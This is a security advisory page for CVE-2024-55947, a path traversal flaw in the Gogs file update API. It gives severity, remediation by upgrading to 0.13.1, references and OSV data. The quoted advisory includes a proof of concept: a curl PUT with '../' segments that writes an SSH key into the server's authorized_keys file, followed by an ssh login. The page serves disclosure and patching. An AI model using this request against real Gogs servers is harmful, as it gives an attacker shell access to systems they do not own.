CVE-2024-55947: Gogs.io/gogs Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-qf5v-rp47-55gg
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CVSS 8.8
CWE-22
Published
Advisory Summary

CVE-2024-55947 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Gogs.io/gogs libraries in the Go ecosystem. The issue involves path traversal in file update api in gogs. Remediation is available by upgrading affected packages to version 0.13.1.

CVE-2024-55947 at a Glance

CVE Identifier CVE-2024-55947
GHSA Identifier GHSA-qf5v-rp47-55gg
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Gogs.io/gogs
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-55947

To remediate this vulnerability, upgrade all affected Gogs.io/gogs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gogs.io/gogs fixed: 0.13.1 
Upgrade gogs.io/gogs to 0.13.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for gogs.io/gogs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-55947, inspect your project dependencies for Gogs.io/gogs:

inspect dependencies for gogs.io/gogs

Analyze the terminal output to locate any version of Gogs.io/gogs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.13.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Gogs.io/gogs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` ### For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

CVE-2024-55947 Affected Gogs.io/gogs Versions

1 component(s)
Fixed Versions:
0.13.1
Product / Package Ecosystem Affected Versions Fixed Version
gogs.io/gogs
golang/gogs.io/gogs
Go
< 0.13.1
0.13.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg
NVD — CVE-2024-55947 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-55947
Gogs.io/gogs Source Repository REPOSITORY
https://github.com/gogs/gogs/issues/7582
Gogs.io/gogs Source Repository REPOSITORY
https://github.com/gogs/gogs/pull/7859
Security Fix Commit FIX COMMIT
https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41
Gogs.io/gogs Source Repository REPOSITORY
https://github.com/gogs/gogs

Frequently Asked Questions

What is CVE-2024-55947?
CVE-2024-55947 is a security vulnerability in Gogs.io/gogs involving Path Traversal in file update API in gogs under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Gogs.io/gogs versions are affected?
Affected versions include releases prior to 0.13.1 across affected packages: gogs.io/gogs.
What version fixes CVE-2024-55947?
Upgrading to 0.13.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gogs.io/gogs affected?
Yes, gogs.io/gogs is affected in releases prior to 0.13.1. Upgrade your dependency to 0.13.1 or later.
What is the CVSS score of CVE-2024-55947?
CVE-2024-55947 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-55947?
CVE-2024-55947 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2024-55947?
Run the dependency tree command: 'inspect dependencies for gogs.io/gogs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qf5v-rp47-55gg",
  "modified" : "2025-04-10T22:56:52Z",
  "published" : "2024-12-23T17:53:16Z",
  "aliases" : [ "CVE-2024-55947" ],
  "summary" : "Path Traversal in file update API in gogs",
  "details" : "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"<base64encoded: your ssh pub key>\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gogs.io/gogs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.13.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-55947"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/issues/7582"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/pull/7859"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gogs/gogs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-23T17:53:16Z",
    "nvd_published_at" : "2024-12-23T16:15:07Z"
  }
}